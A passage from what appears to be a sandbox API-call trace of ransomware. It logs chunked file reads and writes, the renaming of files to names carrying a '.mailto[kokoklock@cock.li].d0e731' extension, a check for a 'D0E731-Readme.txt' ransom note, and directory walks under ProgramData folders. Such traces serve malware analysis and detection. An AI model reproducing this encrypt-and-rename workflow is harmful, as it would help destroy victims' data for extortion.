(HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd9d0 [0075.030] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0075.030] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478fd0 [0075.031] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478fd0) returned 1 [0075.031] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0075.031] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478fa8 [0075.031] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478fd0 [0075.031] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478fd0) returned 1 [0075.031] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0075.031] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd9d0) returned 1 [0075.031] WriteFile (in: hFile=0x9b4, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1b33fe04, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x1b33fe04*=0x4096, lpOverlapped=0x0) returned 1 [0075.031] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0075.031] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x13bf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.031] ReadFile (in: hFile=0x9b4, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1b33fe04, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1b33fe04*=0x4096, lpOverlapped=0x0) returned 1 [0075.032] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x13bf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.032] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd628 [0075.032] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0075.032] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479188 [0075.032] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479188) returned 1 [0075.033] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0075.033] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478f08 [0075.033] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478fd0 [0075.033] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478fd0) returned 1 [0075.033] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0075.033] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd628) returned 1 [0075.033] WriteFile (in: hFile=0x9b4, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1b33fe04, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x1b33fe04*=0x4096, lpOverlapped=0x0) returned 1 [0075.033] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0075.033] WriteFile (in: hFile=0x9b4, lpBuffer=0x3478ee0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1b33fe60, lpOverlapped=0x0 | out: lpBuffer=0x3478ee0*, lpNumberOfBytesWritten=0x1b33fe60*=0x20, lpOverlapped=0x0) returned 1 [0075.034] WriteFile (in: hFile=0x9b4, lpBuffer=0x3478fa8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1b33fe60, lpOverlapped=0x0 | out: lpBuffer=0x3478fa8*, lpNumberOfBytesWritten=0x1b33fe60*=0x20, lpOverlapped=0x0) returned 1 [0075.034] WriteFile (in: hFile=0x9b4, lpBuffer=0x3478f08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1b33fe60, lpOverlapped=0x0 | out: lpBuffer=0x3478f08*, lpNumberOfBytesWritten=0x1b33fe60*=0x20, lpOverlapped=0x0) returned 1 [0075.034] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.034] WriteFile (in: hFile=0x9b4, lpBuffer=0x3478eb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1b33fe68, lpOverlapped=0x0 | out: lpBuffer=0x3478eb8*, lpNumberOfBytesWritten=0x1b33fe68*=0x8, lpOverlapped=0x0) returned 1 [0075.034] WriteFile (in: hFile=0x9b4, lpBuffer=0x1b33fe80*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1b33fe68, lpOverlapped=0x0 | out: lpBuffer=0x1b33fe80*, lpNumberOfBytesWritten=0x1b33fe68*=0x4, lpOverlapped=0x0) returned 1 [0075.034] WriteFile (in: hFile=0x9b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1b33fe68, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1b33fe68*=0x4, lpOverlapped=0x0) returned 1 [0075.035] WriteFile (in: hFile=0x9b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1b33fe68, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1b33fe68*=0x6c, lpOverlapped=0x0) returned 1 [0075.035] WriteFile (in: hFile=0x9b4, lpBuffer=0x3479048*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1b33fe68, lpOverlapped=0x0 | out: lpBuffer=0x3479048*, lpNumberOfBytesWritten=0x1b33fe68*=0x20, lpOverlapped=0x0) returned 1 [0075.035] WriteFile (in: hFile=0x9b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1b33fe68, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1b33fe68*=0x4, lpOverlapped=0x0) returned 1 [0075.035] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479048) returned 1 [0075.035] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e90) returned 1 [0075.035] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478eb8) returned 1 [0075.035] CloseHandle (hObject=0x9b4) returned 1 [0075.035] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x3431040 [0075.035] wcscpy (in: _Dest=0x3431040, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbtmp.log" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbtmp.log") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbtmp.log" [0075.035] wcscat (in: _Dest=0x3431040, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbtmp.log.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbtmp.log.mailto[kokoklock@cock.li].d0e731" [0075.035] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbtmp.log" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edbtmp.log"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbtmp.log.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edbtmp.log.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.040] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbtmp.log.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.040] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431040) returned 1 [0075.040] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbtmp.log", dwFileAttributes=0x20) returned 0 [0075.040] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x86) returned 0x33e32f0 [0075.040] wcscpy (in: _Dest=0x33e32f0, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" [0075.040] wcscat (in: _Dest=0x33e32f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\D0E731-Readme.txt" [0075.040] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\d0e731-readme.txt")) returned 0x20 [0075.041] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e32f0) returned 1 [0075.041] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cca70) returned 1 [0075.041] RtlExitUserThread (Status=0x1) Thread: id = 716 os_tid = 0x1350 [0075.042] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr.db")) returned 0x220 [0075.042] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.db", dwFileAttributes=0x20) returned 1 [0075.042] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.042] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.db", dwFileAttributes=0x220) returned 1 [0075.043] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0075.043] RtlExitUserThread (Status=0x0) Thread: id = 717 os_tid = 0xe9c [0075.044] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.jfm" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr.jfm")) returned 0x20 [0075.044] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.jfm", dwFileAttributes=0x20) returned 1 [0075.044] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.jfm" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr.jfm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.044] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.jfm", dwFileAttributes=0x20) returned 1 [0075.044] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccf70) returned 1 [0075.044] RtlExitUserThread (Status=0x0) Thread: id = 718 os_tid = 0xd20 [0075.045] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x34799e8 [0075.045] wcscpy (in: _Dest=0x34799e8, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm" [0075.045] wcscat (in: _Dest=0x34799e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm\\" [0075.045] wcscat (in: _Dest=0x34799e8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm\\*") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm\\*" [0075.046] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f51f0 [0075.046] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm\\*", lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434228 [0075.046] wcscmp (_String1=".", _String2=".") returned 0 [0075.046] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.046] wcscmp (_String1="..", _String2=".") returned 1 [0075.046] wcscmp (_String1="..", _String2="..") returned 0 [0075.046] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0075.046] FindClose (in: hFindFile=0x3434228 | out: hFindFile=0x3434228) returned 1 [0075.047] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f51f0) returned 1 [0075.047] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34799e8) returned 1 [0075.047] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e180) returned 1 [0075.047] RtlExitUserThread (Status=0x0) Thread: id = 719 os_tid = 0xf8c [0075.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33ccd70 [0075.048] wcscpy (in: _Dest=0x33ccd70, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old" [0075.048] wcscat (in: _Dest=0x33ccd70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old\\" [0075.048] wcscat (in: _Dest=0x33ccd70, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old\\*") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old\\*" [0075.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f51f0 [0075.048] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old\\*", lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434228 [0075.049] wcscmp (_String1=".", _String2=".") returned 0 [0075.049] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.049] wcscmp (_String1="..", _String2=".") returned 1 [0075.049] wcscmp (_String1="..", _String2="..") returned 0 [0075.049] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0075.049] FindClose (in: hFindFile=0x3434228 | out: hFindFile=0x3434228) returned 1 [0075.049] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f51f0) returned 1 [0075.049] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccd70) returned 1 [0075.049] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e98) returned 1 [0075.049] RtlExitUserThread (Status=0x0) Thread: id = 720 os_tid = 0xb0c [0075.050] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347dbd0 [0075.050] wcscpy (in: _Dest=0x347dbd0, _Source="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles" [0075.051] wcscat (in: _Dest=0x347dbd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles\\") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles\\" [0075.051] wcscat (in: _Dest=0x347dbd0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles\\*") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles\\*" [0075.051] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f51f0 [0075.051] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles\\*", lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434228 [0075.051] wcscmp (_String1=".", _String2=".") returned 0 [0075.051] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.051] wcscmp (_String1="..", _String2=".") returned 1 [0075.051] wcscmp (_String1="..", _String2="..") returned 0 [0075.051] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0075.051] FindClose (in: hFindFile=0x3434228 | out: hFindFile=0x3434228) returned 1 [0075.051] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f51f0) returned 1 [0075.051] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dbd0) returned 1 [0075.051] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34272d8) returned 1 [0075.051] RtlExitUserThread (Status=0x0) Thread: id = 721 os_tid = 0x6dc [0075.052] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x3426b88 [0075.052] wcscpy (in: _Dest=0x3426b88, _Source="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles" [0075.052] wcscat (in: _Dest=0x3426b88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\" [0075.052] wcscat (in: _Dest=0x3426b88, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*" [0075.052] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f51f0 [0075.053] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434228 [0075.053] wcscmp (_String1=".", _String2=".") returned 0 [0075.053] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.053] wcscmp (_String1="..", _String2=".") returned 1 [0075.053] wcscmp (_String1="..", _String2="..") returned 0 [0075.053] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0075.053] FindClose (in: hFindFile=0x3434228 | out: hFindFile=0x3434228) returned 1 [0075.053] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f51f0) returned 1 [0075.053] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426b88) returned 1 [0075.053] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427340) returned 1 [0075.053] RtlExitUserThread (Status=0x0) Thread: id = 722 os_tid = 0xce4 [0075.054] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5e) returned 0x3426b88 [0075.054] wcscpy (in: _Dest=0x3426b88, _Source="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server") returned="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server" [0075.054] wcscat (in: _Dest=0x3426b88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server\\") returned="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server\\" [0075.054] wcscat (in: _Dest=0x3426b88, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server\\*") returned="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server\\*" [0075.054] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f51f0 [0075.054] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server\\*", lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434228 [0075.055] wcscmp (_String1=".", _String2=".") returned 0 [0075.055] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.055] wcscmp (_String1="..", _String2=".") returned 1 [0075.055] wcscmp (_String1="..", _String2="..") returned 0 [0075.055] FindNextFileW (in: hFindFile=0x3434228, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0075.055] FindClose (in: hFindFile=0x3434228 | out: hFindFile=0x3434228) returned 1 [0075.055] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f51f0) returned 1 [0075.055] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426b88) returned 1 [0075.055] 